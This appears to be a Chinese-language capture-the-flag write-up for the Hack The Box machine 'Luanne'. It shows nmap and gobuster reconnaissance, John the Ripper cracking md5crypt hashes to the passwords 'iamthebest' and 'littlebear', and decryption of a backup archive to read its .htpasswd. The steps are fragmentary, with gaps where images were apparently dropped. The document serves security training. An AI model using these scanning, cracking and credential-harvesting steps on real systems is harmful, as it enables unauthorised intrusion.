$ nmap -sC -sV 10.10.10.218 Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-08 14:41 CST Nmap scan report for 10.10.10.218 Host is up (0.067s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0) | ssh-hostkey: | 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA) | 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA) |_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519) 80/tcp open http nginx 1.19.0 | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=. | http-robots.txt: 1 disallowed entry |_/weather |_http-server-header: nginx/1.19.0 |_http-title: 401 Unauthorized 9001/tcp open http Medusa httpd 1.12 (Supervisor process manager) | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=default |_http-server-header: Medusa/1.12 |_http-title: Error response Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 202.72 seconds
80
需要认证信息,认证失败显示是3000端口:
9001
9001也是需要认证:
目录扫描
根据前面扫描结果,80端口有robots.txt,显示有/weather目录,但直接访问是404:
那就进一步目录扫描,得到结果:
1 2 3
gobuster dir -u http://10.10.10.218/weather/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 50
➜ Luanne sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt [sudo] password for miao: Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status iamthebest (?) 1g 0:00:00:00 DONE (2020-12-02 19:03) 25.00g/s 76800p/s 76800c/s 76800C/s secrets..ANTHONY Use the "--show" option to display all of the cracked passwords reliably Session completed
netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc --output=/tmp/devel_backup-2020-09-16.tar.gz cd /tmp tar -xf devel_backup-2020-09-16.tar.gz cd devel-2020-09-16 cd www cat .htpasswd
破解出来密码:
1 2 3 4 5 6 7 8 9 10 11 12
➜ Luanne sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash2.txt [sudo] password for miao: Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status littlebear (?) 1g 0:00:00:00 DONE (2020-12-02 19:46) 1.041g/s 13600p/s 13600c/s 13600C/s tormenta..hello11 Use the "--show" option to display all of the cracked passwords reliably Session completed